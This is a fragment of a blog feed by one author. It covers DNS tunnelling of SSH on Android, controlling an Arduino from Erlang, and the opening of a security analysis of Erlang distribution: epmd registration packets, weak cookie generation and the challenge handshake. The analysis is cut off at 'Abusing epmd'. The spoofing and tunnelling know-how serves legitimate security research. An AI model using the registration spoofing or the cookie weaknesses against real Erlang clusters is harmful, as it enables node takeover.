flag).&lt;br /&gt;&lt;br /&gt;Test it out. In the ConnectBot host list, select the &lt;b&gt;sdt&lt;/b&gt; host.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_VKBskse7x_4/S9iebx2KfKI/AAAAAAAABkE/yIB-LTOArvI/s1600/sdt.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_VKBskse7x_4/S9iebx2KfKI/AAAAAAAABkE/yIB-LTOArvI/s320/sdt.png" /&gt;&lt;/a&gt;&lt;/div&gt;Hit the back button, then select the &lt;b&gt;ssh&lt;/b&gt; host.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_VKBskse7x_4/S9iejLzlyRI/AAAAAAAABkM/o-J4l29m_Hg/s1600/sdt2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_VKBskse7x_4/S9iejLzlyRI/AAAAAAAABkM/o-J4l29m_Hg/s320/sdt2.png" /&gt;&lt;/a&gt;&lt;/div&gt;If everything works out, a glorious, if slow, ssh session over DNS should be the reward.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_VKBskse7x_4/S9ieoOWc0JI/AAAAAAAABkU/I9YlvX-V7Q0/s1600/sdt3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_VKBskse7x_4/S9ieoOWc0JI/AAAAAAAABkU/I9YlvX-V7Q0/s320/sdt3.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_VKBskse7x_4/S9ietlcQQjI/AAAAAAAABkc/cjKX2SNth-w/s1600/sdt-login.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_VKBskse7x_4/S9ietlcQQjI/AAAAAAAABkc/cjKX2SNth-w/s320/sdt-login.png" /&gt;&lt;/a&gt;&lt;/div&gt;After login, run GNU screen (in case the connection drops). I usually run console apps, but ConnectBot supports port forwarding for those times you need to run send data from other apps over the tunnel (forwarding through a proxy like &lt;a href="http://ziproxy.sourceforge.net/"&gt;ziproxy&lt;/a&gt; works well). &lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_VKBskse7x_4/S9iex8-X4KI/AAAAAAAABkk/AeSO4UttgfU/s1600/sdt-cim.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_VKBskse7x_4/S9iex8-X4KI/AAAAAAAABkk/AeSO4UttgfU/s320/sdt-cim.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://www.centerim.org/index.php/Main_Page"&gt;centerim&lt;/a&gt;: IRC over SSH over TCP/IP over DNS&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_VKBskse7x_4/S9ie170-RLI/AAAAAAAABks/19HHsKMiyB4/s1600/sdt-w3m.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_VKBskse7x_4/S9ie170-RLI/AAAAAAAABks/19HHsKMiyB4/s320/sdt-w3m.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;Web browsing over DNS on a phone using &lt;a href="http://w3m.sourceforge.net/"&gt;w3m&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&lt;h2&gt;Update: 2011-03-13&lt;/h2&gt;I've switched phones to an &lt;a href="http://en.wikipedia.org/wiki/HTC_Desire_Z"&gt;HTC Desire Z&lt;/a&gt; (running Android 2.2) and one of my first tasks was to get sods running on it.&lt;ol&gt;&lt;li&gt;I was getting permission errors copying from the sdcard to the connectbot directory so I resorted to using "cat":&lt;pre&gt;&lt;code&gt;&lt;br /&gt;cd /data/data/org.connectbot/bin&lt;br /&gt;cat /sdcard/tmp/sdt &gt; sdt&lt;br /&gt;chmod 755 sdt&lt;br /&gt;./sdt -h&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;li&gt;If you are having problems connecting to the sods server, make sure another sdt process is not running. To do this, run "ps" and "kill" from the ConnectBot shell or kill the ConnectBot application.&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8577871288924093307-1889739398931275568?l=blog.listincomprehension.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.listincomprehension.com/feeds/1889739398931275568/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.listincomprehension.com/2010/04/dns-tunnelling-on-android.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/1889739398931275568'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/1889739398931275568'/><link rel='alternate' type='text/html' href='http://blog.listincomprehension.com/2010/04/dns-tunnelling-on-android.html' title='DNS Tunnelling on Android'/><author><name>Michael Santos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_VKBskse7x_4/S9ieG6_OevI/AAAAAAAABjs/brFCGfhrP4c/s72-c/sdt-edithost.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8577871288924093307.post-3464449354132932316</id><published>2010-04-12T21:02:00.000-04:00</published><updated>2010-04-13T09:53:55.323-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='arduino'/><category scheme='http://www.blogger.com/atom/ns#' term='erlang'/><title type='text'>Accessing an Arduino from Erlang</title><content type='html'>First we'll need to upload a sketch to the &lt;a href="http://en.wikipedia.org/wiki/Arduino"&gt;Arduino&lt;/a&gt;. There are many examples floating around. Here is a simple one to control LED's. Yes, not exactly novel.&lt;br /&gt;&lt;script src="http://gist.github.com/364185.js?file=LED.pde"&gt;&lt;/script&gt;&lt;br /&gt;You will need to modify the definitions of FPIN and LPIN to match the first and last digital pins the LED's are plugged into. Compile and upload the sketch.&lt;br /&gt;&lt;br /&gt;The lights are set as a bitmask. For example, to activate the first LED, send the integer 1; for the third LED, send 4; and for both the first and third LED, send 5. If you defined the DEBUG macro, you can test from the serial monitor by sending the ASCII representation of the numbers.&lt;br /&gt;&lt;br /&gt;Now download and compile the &lt;a href="http://github.com/msantos/erlang-serial"&gt;erlang-serial&lt;/a&gt; port driver. Start up Erlang:&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Constant"&gt;1&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&lt;/span&gt; Pid &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;serial:start&lt;/span&gt;([{open, &lt;span class="Constant"&gt;"/dev/ttyUSB0"&lt;/span&gt;}, {speed, &lt;span class="Constant"&gt;9600&lt;/span&gt;}])&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Statement"&gt;&amp;lt;&lt;/span&gt;&lt;span class="Constant"&gt;0.47&lt;/span&gt;&lt;span class="Special"&gt;.&lt;/span&gt;&lt;span class="Constant"&gt;0&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Constant"&gt;2&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&lt;/span&gt; Pid &lt;span class="Statement"&gt;!&lt;/span&gt; {send, &lt;span class="Constant"&gt;1&lt;/span&gt; &lt;span class="Statement"&gt;bsl&lt;/span&gt; &lt;span class="Constant"&gt;2&lt;/span&gt;}&lt;span class="Special"&gt;.&lt;/span&gt; &lt;span class="Comment"&gt;% LED at position 3&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;h1&gt;Doing Something Useful&lt;/h1&gt;&lt;br /&gt;Switching LED's on and off programmatically is hours of fun. But, like many others have discovered before, hook it up to a monitoring system and it becomes sort of useful.&lt;br /&gt;&lt;br /&gt;I have a monitoring service running Nagios. Yeah, I think Nagios sucks too. The Erlang code does a request for the &lt;i&gt;tactical overview&lt;/i&gt; page, parses out the statistics and sets the alert status accordingly.&lt;br /&gt;&lt;script src="http://gist.github.com/364193.js?file=health.erl"&gt;&lt;/script&gt;&lt;br /&gt;&lt;h1&gt;Monitoring Ambient Light&lt;/h1&gt;&lt;br /&gt;Here is another simple project: creating a graph of ambient light levels using an &lt;a href="http://en.wikipedia.org/wiki/Light_Dependent_Resistor"&gt;LDR&lt;/a&gt; and the really quite awesome &lt;a href="http://github.com/psyeugenic/eplot"&gt;eplot&lt;/a&gt; library.&lt;br /&gt;&lt;br /&gt;Connect the LDR to an analog pin and upload a sketch: &lt;script src="http://gist.github.com/364190.js?file=LDR.pde"&gt;&lt;/script&gt; The Erlang code has 2 components: a process that periodically reads and stores the sensor data and a web server that displays a graph in PNG format.&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Identifier"&gt;light:start&lt;/span&gt;()&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;sensor:start&lt;/span&gt;()&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;Reading the sensor:&lt;br /&gt;&lt;script src="http://gist.github.com/364195.js?file=light.erl"&gt;&lt;/script&gt;&lt;br /&gt;Displaying the graph:&lt;br /&gt;&lt;script src="http://gist.github.com/364194.js?file=sensor.erl"&gt;&lt;/script&gt;&lt;br /&gt;After the web server is running, the web page can be found by going to:&lt;br /&gt;&lt;pre class="Code"&gt;http&lt;span class="Special"&gt;:&lt;/span&gt;&lt;span class="Statement"&gt;//&lt;/span&gt;&lt;span class="Identifier"&gt;localhost:8889&lt;/span&gt;&lt;span class="Statement"&gt;/&lt;/span&gt;web&lt;span class="Statement"&gt;/&lt;/span&gt;&lt;span class="Identifier"&gt;sensor:graph&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_VKBskse7x_4/S8PDmCSKl2I/AAAAAAAABjk/HJ5EjuLDNtI/s1600/sensor.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_VKBskse7x_4/S8PDmCSKl2I/AAAAAAAABjk/HJ5EjuLDNtI/s320/sensor.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;(I think the spikiness was caused by a blinking LED somewhere around the LDR).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8577871288924093307-3464449354132932316?l=blog.listincomprehension.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.listincomprehension.com/feeds/3464449354132932316/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.listincomprehension.com/2010/04/accessing-arduino-from-erlang.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/3464449354132932316'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/3464449354132932316'/><link rel='alternate' type='text/html' href='http://blog.listincomprehension.com/2010/04/accessing-arduino-from-erlang.html' title='Accessing an Arduino from Erlang'/><author><name>Michael Santos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_VKBskse7x_4/S8PDmCSKl2I/AAAAAAAABjk/HJ5EjuLDNtI/s72-c/sensor.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8577871288924093307.post-5860492000238964625</id><published>2010-03-31T19:41:00.008-04:00</published><updated>2010-12-06T18:51:46.901-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='erlang'/><category scheme='http://www.blogger.com/atom/ns#' term='spoofed'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Spoofing the Erlang Distribution Protocol</title><content type='html'>(&lt;b&gt;Update (2010/09/15):&lt;/b&gt; Well, that's annoying! With the release of Erlang R14B, it looks as if some of the issues with epmd have been fixed! Here is the log of the &lt;a href="http://github.com/erlang/otp/commit/1ff4783ab8b1bdb32ced6072eb193896b429d115"&gt;commit&lt;/a&gt; made by bufflig (Patrik Nyblom):&lt;br /&gt;&lt;pre&gt;Fix anomalies in epmd not yet reported as security issues&lt;br /&gt;&lt;br /&gt;Use erts_(v)snprintf to ensure no buffer overruns in debug printouts.&lt;br /&gt;Disallow everything except port and name requests from remote nodes.&lt;br /&gt;Disallow kill command even from localhost if alive nodes exist.&lt;br /&gt;  -relaxed_command_check when starting epmd returns the possibility to&lt;br /&gt;  kill this epmd when nodes are alive (from localhost).&lt;br /&gt;Disallow stop command completely except if -relaxed_command_check is given&lt;br /&gt;  when epmd was started.&lt;br /&gt;Environment variable ERL_EPMD_RELAXED_COMMAND_CHECK can be set to always get&lt;br /&gt;  -relaxed_command_check.&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Fortunately (for those wishing to spoof the protocol), there are still other ways to &lt;a href="http://github.com/msantos/spoofed/blob/master/src/npmd.erl#L118"&gt;kill epmd&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Awesome work by the Erlang/OTP team!)&lt;/p&gt;&lt;br /&gt;One of the unique features of the Erlang programming language is the transparent, built in distribution. The unit of activity in Erlang is the process. Processes run on nodes which reside locally or on remote servers, communicating by message passing. If a process somewhere crashes, a linked process running on another server can detect the crash and perform error recovery.  &lt;br /&gt;&lt;br /&gt;Erlang distribution is very easy to use, pretty much working out of the box.  But, in the default configuration, &lt;a href="http://www.erlang.org/pipermail/erlang-questions/2007-July/027738.html"&gt;it's&lt;/a&gt; &lt;a href="http://www.erlang.org/pipermail/erlang-questions/2007-June/027076.html"&gt;often&lt;/a&gt; &lt;a href="http://dizzyd.com/sdist.pdf"&gt;advised&lt;/a&gt; that the Erlang distribution protocol is &lt;a href="http://github.com/erlang/otp/blob/dev/lib/kernel/internal_doc/distribution_handshake.txt#L14"&gt;insecure&lt;/a&gt; and should only be run on trusted networks:&lt;br /&gt;&lt;blockquote&gt;[The cookie authentication mechanism] is not entirelly safe, as it is vulnerable against takeover attacks, but it is a tradeoff between fair safety and performance.&lt;/blockquote&gt;So the questions are: what are the risks in running a distributed Erlang node, where can distribution be used safely and what can be done to limit potential attacks against it?&lt;br /&gt;&lt;a href="http://github.com/msantos/spoofed"&gt;Source code&lt;/a&gt; is available on github.&lt;br /&gt;&lt;h1&gt;Erlang Distribution&lt;/h1&gt;&lt;h2&gt;The Erlang Port Mapper Daemon&lt;/h2&gt;Distributed Erlang nodes bind a random TCP port for distribution requests. The Erlang port mapper daemon, or epmd, maps the name of the node to the port on which the node is listening.&lt;br /&gt;&lt;br /&gt;epmd acts as a key/value store.  A node registers with epmd by opening a TCP connection to localhost on a well known port (4396). The node sends a message containing the node name and distribution port. The node is now registered and will remain registered until the TCP connection is dropped.&lt;br /&gt;&lt;br /&gt;An example of a registration message is:&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Identifier"&gt;register&lt;/span&gt;({IP, Port}, Key, Value) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;    Packet &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;br /&gt;    &lt;span class="Constant"&gt;120&lt;/span&gt;,                    &lt;span class="Comment"&gt;% ALIVE2_REQ response: x&lt;/span&gt;&lt;br /&gt;    &lt;span class="Identifier"&gt;Value:16&lt;/span&gt;,                &lt;span class="Comment"&gt;% PortNo&lt;/span&gt;&lt;br /&gt;    &lt;span class="Constant"&gt;77&lt;/span&gt;,                     &lt;span class="Comment"&gt;% NodeType: normal Erlang node&lt;/span&gt;&lt;br /&gt;    &lt;span class="Constant"&gt;0&lt;/span&gt;,                      &lt;span class="Comment"&gt;% Protocol: TCP&lt;/span&gt;&lt;br /&gt;    &lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;5&lt;/span&gt;,                    &lt;span class="Comment"&gt;% Highest Version&lt;/span&gt;&lt;br /&gt;    &lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;5&lt;/span&gt;,                    &lt;span class="Comment"&gt;% Lowest Version&lt;/span&gt;&lt;br /&gt;    (byte_size(Node))&lt;span class="Special"&gt;:&lt;/span&gt;&lt;span class="Constant"&gt;16&lt;/span&gt;,   &lt;span class="Comment"&gt;% NLen&lt;/span&gt;&lt;br /&gt;    Node&lt;span class="Statement"&gt;/&lt;/span&gt;bytes,             &lt;span class="Comment"&gt;% NodeName&lt;/span&gt;&lt;br /&gt;    &lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;                     &lt;span class="Comment"&gt;% ELen&lt;/span&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;,&lt;br /&gt;    {ok, Socket} &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;gen_tcp:connect&lt;/span&gt;(IP, Port, [&lt;br /&gt;            {packet,&lt;span class="Constant"&gt;2&lt;/span&gt;},&lt;br /&gt;            {active, &lt;span class="Statement"&gt;true&lt;/span&gt;},&lt;br /&gt;            &lt;span class="Identifier"&gt;binary&lt;/span&gt;&lt;br /&gt;        ]),&lt;br /&gt;    ok &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;gen_tcp:send&lt;/span&gt;(Socket, Packet),&lt;br /&gt;    wait(Socket)&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;wait(Socket) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;receive&lt;/span&gt; _ &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt; wait(Socket) &lt;span class="Statement"&gt;end&lt;/span&gt;&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;h2&gt;A Distributed Erlang Node&lt;/h2&gt;A node is started in distributed mode when the &lt;i&gt;-sname&lt;/i&gt; or &lt;i&gt;-name&lt;/i&gt; option is passed on the command line to the &lt;i&gt;erl&lt;/i&gt; command. Erlang will start an epmd process if one is currently not running.&lt;br /&gt;&lt;br /&gt;When a request is made to connect to another distributed Erlang node, for example by using &lt;i&gt;net_adm:ping('node@example.com')&lt;/i&gt;, the Erlang node will resolve the portion of the node name after the @ symbol (or use localhost, if the node is brought up using &lt;i&gt;-sname&lt;/i&gt;), and send a PORT_PLEASE2_REQ request for the name (the portion of the atom preceding the @ sign) to the resolved IP address. epmd responds with a message containing the node's port and closes the connection. &lt;br /&gt;&lt;br /&gt;The originating Erlang node now opens a TCP connection to the destination Erlang node's distribution port.  The nodes authenticate each other using the Erlang cookie mechanism.  If the challenge handshake succeeds, the nodes are connected. Communication is bidirectional.  This link will be used for all distributed operations between the two nodes.&lt;br /&gt;&lt;h2&gt;Erlang Cookies&lt;/h2&gt;Erlang cookie authentication resembles &lt;a href="http://en.wikipedia.org/wiki/RADIUS"&gt;RADIUS&lt;/a&gt;, &lt;a href="ttp://en.wikipedia.org/wiki/Challenge-handshake_authentication_protocol"&gt;CHAP&lt;/a&gt; and X11 magic cookies. Cookies are a secret that must be known on all members of the Erlang cluster. Valid characters in a cookie are ASCII 32-126 (space to tilde).&lt;br /&gt;&lt;h2&gt;Generating the Erlang Cookie&lt;/h2&gt;If a secret is not provided, Erlang will generate a 20 byte file in the user's home directory (&lt;i&gt;~/.erlang.cookie&lt;/i&gt;) composed of uppercase letters.  Erlang uses a weak &lt;a href="http://github.com/erlang/otp/blob/dev/lib/kernel/src/auth.erl#L412"&gt;pseudo-random number generator&lt;/a&gt; with an implementation similar to &lt;a href="http://linux.die.net/man/3/srand"&gt;rand(3)&lt;/a&gt;. The seed is the seconds and microseconds fields of &lt;i&gt;erlang:now()&lt;/i&gt;. The returned random value acts as the seed for the next random value until 20 uppercase letters are chosen. The creation time of the &lt;i&gt;~/.erlang.cookie&lt;/i&gt; file is changed to midnight to obscure the initial seed value.&lt;br /&gt;&lt;h2&gt;The Challenge Handshake&lt;/h2&gt;The challenge process is explained in the Erlang &lt;a href="http://github.com/erlang/otp/blob/dev/lib/kernel/internal_doc/distribution_handshake.txt"&gt;kernel documentation&lt;/a&gt;. &lt;s&gt;The kernel docs show a 4 byte digest used to verify knowledge of the secret, instead of the 16 byte digest generated by MD5. Maybe at one point the cookie mechanism used something like CRC32.&lt;/s&gt;(The docs have been updated).&lt;br /&gt;&lt;br /&gt;After the TCP connection is established, the originating node sends:&lt;br /&gt;&lt;div&gt;&lt;ul class="Message"&gt;&lt;li class="Message"&gt;"n"&lt;/li&gt;&lt;li class="Message"&gt;Version0&lt;/li&gt;&lt;li class="Message"&gt;Version1&lt;/li&gt;&lt;li class="Message"&gt;Flag0&lt;/li&gt;&lt;li class="Message"&gt;Flag1&lt;/li&gt;&lt;li class="Message"&gt;Flag2&lt;/li&gt;&lt;li class="Message"&gt;Flag3&lt;/li&gt;&lt;li class="Message"&gt;Name0&lt;/li&gt;&lt;li class="Message"&gt;Name1&lt;/li&gt;&lt;li class="Message"&gt;Name2&lt;/li&gt;&lt;li class="Message"&gt;...&lt;/li&gt;&lt;li class="Message"&gt;NameN&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;The version fields are 2 bytes and contain the minimum/maximum version of the distribution protocol supported by the node. The Name fields hold the bytes representing the full name of the originating node (node and domain name).&lt;br /&gt;&lt;br /&gt;The destination node replies with a status message indicating how the originating node may proceed. For example, the connection might not be allowed because a connection is in progress or might already exist.&lt;br /&gt;&lt;div&gt;&lt;ul class="Message"&gt;&lt;li class="Message"&gt;"s"&lt;/li&gt;&lt;li class="Message"&gt;Status0&lt;/li&gt;&lt;li class="Message"&gt;Status1&lt;/li&gt;&lt;li class="Message"&gt;...&lt;/li&gt;&lt;li class="Message"&gt;StatusN&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;If the status indicates the connection can continue, the destination node sends another message containing the challenge.&lt;br /&gt;&lt;div&gt;&lt;ul class="Message"&gt;&lt;li class="Message"&gt;"n"&lt;/li&gt;&lt;li class="Message"&gt;Version0&lt;/li&gt;&lt;li class="Message"&gt;Version1&lt;/li&gt;&lt;li class="Message"&gt;Flag0&lt;/li&gt;&lt;li class="Message"&gt;Flag1&lt;/li&gt;&lt;li class="Message"&gt;Flag2&lt;/li&gt;&lt;li class="Message"&gt;Flag3&lt;/li&gt;&lt;li class="Message"&gt;Challenge0&lt;/li&gt;&lt;li class="Message"&gt;Challenge1&lt;/li&gt;&lt;li class="Message"&gt;Challenge2&lt;/li&gt;&lt;li class="Message"&gt;Challenge3&lt;/li&gt;&lt;li class="Message"&gt;Name0&lt;/li&gt;&lt;li class="Message"&gt;Name1&lt;/li&gt;&lt;li class="Message"&gt;Name2&lt;/li&gt;&lt;li class="Message"&gt;...&lt;/li&gt;&lt;li class="Message"&gt;NameN&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;This message contains the versions supported by the destination node, any compatibility flags, the 4 byte challenge and the node name. The challenge is generated by gathering some runtime statistics:&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Comment"&gt;%% ---------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span class="Comment"&gt;%% Challenge code&lt;/span&gt;&lt;br /&gt;&lt;span class="Comment"&gt;%% gen_challenge() returns a "random" number&lt;/span&gt;&lt;br /&gt;&lt;span class="Comment"&gt;%% ---------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;gen_challenge() &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;    {A,B,C} &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;erlang:now&lt;/span&gt;(),&lt;br /&gt;    {D,_}   &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;erlang:statistics&lt;/span&gt;(&lt;span class="Special"&gt;reductions&lt;/span&gt;),&lt;br /&gt;    {E,_}   &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;erlang:statistics&lt;/span&gt;(&lt;span class="Special"&gt;runtime&lt;/span&gt;),&lt;br /&gt;    {F,_}   &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;erlang:statistics&lt;/span&gt;(&lt;span class="Special"&gt;wall_clock&lt;/span&gt;),&lt;br /&gt;    {G,H,_} &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;erlang:statistics&lt;/span&gt;(&lt;span class="Special"&gt;garbage_collection&lt;/span&gt;),&lt;br /&gt;    &lt;span class="Comment"&gt;%% A(8) B(16) C(16)&lt;/span&gt;&lt;br /&gt;    &lt;span class="Comment"&gt;%% D(16),E(8), F(16) G(8) H(16)&lt;/span&gt;&lt;br /&gt;    ( ((A &lt;span class="Statement"&gt;bsl&lt;/span&gt; &lt;span class="Constant"&gt;24&lt;/span&gt;) &lt;span class="Statement"&gt;+&lt;/span&gt; (E &lt;span class="Statement"&gt;bsl&lt;/span&gt; &lt;span class="Constant"&gt;16&lt;/span&gt;) &lt;span class="Statement"&gt;+&lt;/span&gt; (G &lt;span class="Statement"&gt;bsl&lt;/span&gt; &lt;span class="Constant"&gt;8&lt;/span&gt;) &lt;span class="Statement"&gt;+&lt;/span&gt; F) &lt;span class="Statement"&gt;bxor&lt;/span&gt;&lt;br /&gt;        (B &lt;span class="Statement"&gt;+&lt;/span&gt; (C &lt;span class="Statement"&gt;bsl&lt;/span&gt; &lt;span class="Constant"&gt;16&lt;/span&gt;)) &lt;span class="Statement"&gt;bxor&lt;/span&gt;&lt;br /&gt;        (D &lt;span class="Statement"&gt;+&lt;/span&gt; (H &lt;span class="Statement"&gt;bsl&lt;/span&gt; &lt;span class="Constant"&gt;16&lt;/span&gt;)) ) &lt;span class="Statement"&gt;band&lt;/span&gt; &lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;ffffffff&lt;/span&gt;&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;The originating node computes the digest by concatenating the challenge with the cookie and digesting the result using MD5:&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Comment"&gt;%% Generate a message digest from Challenge number and Cookie   &lt;/span&gt;&lt;br /&gt;gen_digest(Challenge, Cookie) &lt;span class="Statement"&gt;when&lt;/span&gt; is_integer(Challenge), is_atom(Cookie) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;    &lt;span class="Identifier"&gt;erlang:md5&lt;/span&gt;([&lt;span class="Identifier"&gt;atom_to_list&lt;/span&gt;(Cookie)|&lt;span class="Identifier"&gt;integer_to_list&lt;/span&gt;(Challenge)])&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;The resulting 16 byte MD5 digest is sent to the destination node along with a new 4 byte challenge.&lt;br /&gt;&lt;div&gt;&lt;ul class="Message"&gt;&lt;li class="Message"&gt;"r"&lt;/li&gt;&lt;li class="Message"&gt;Challenge0&lt;/li&gt;&lt;li class="Message"&gt;Challenge1&lt;/li&gt;&lt;li class="Message"&gt;Challenge2&lt;/li&gt;&lt;li class="Message"&gt;Challenge3&lt;/li&gt;&lt;li class="Message"&gt;Digest0&lt;/li&gt;&lt;li class="Message"&gt;Digest1&lt;/li&gt;&lt;li class="Message"&gt;Digest2&lt;/li&gt;&lt;li class="Message"&gt;...&lt;/li&gt;&lt;li class="Message"&gt;Digest15&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;The destination node verifies the received digest, computes a digest based on the origin node's challenge and replies with an acknowlegement message:&lt;br /&gt;&lt;div&gt;&lt;ul class="Message"&gt;&lt;li class="Message"&gt;"a"&lt;/li&gt;&lt;li class="Message"&gt;Digest0&lt;/li&gt;&lt;li class="Message"&gt;Digest1&lt;/li&gt;&lt;li class="Message"&gt;Digest2&lt;/li&gt;&lt;li class="Message"&gt;...&lt;/li&gt;&lt;li class="Message"&gt;Digest15&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;If either digest does not match, the nodes will drop the connection and log a handshake failure.  Authentication is performed for each TCP connection; no verification is done once the challenge process is established. If the TCP connection is dropped, for whatever reason, a new TCP connection must go through the authentication procedure again.&lt;br /&gt;&lt;h1&gt;Abusing epmd&lt;/h1&gt;&lt;h2&gt;Running epmd&lt;/h2&gt;epmd comes from an environment where physical servers are dedicated to a single task. Probably all Erlang nodes ran under a single UID.&lt;br /&gt;&lt;br /&gt;On multiuser systems, such as development servers or systems that require some privilege separation, the first Erlang node to run starts and controls the epmd process. This user can now control the port map requests given for other nodes. The user running epmd can also snoop name requests.  &lt;br /&gt;&lt;br /&gt;The temptation might be to explicitly start epmd as root at boot. 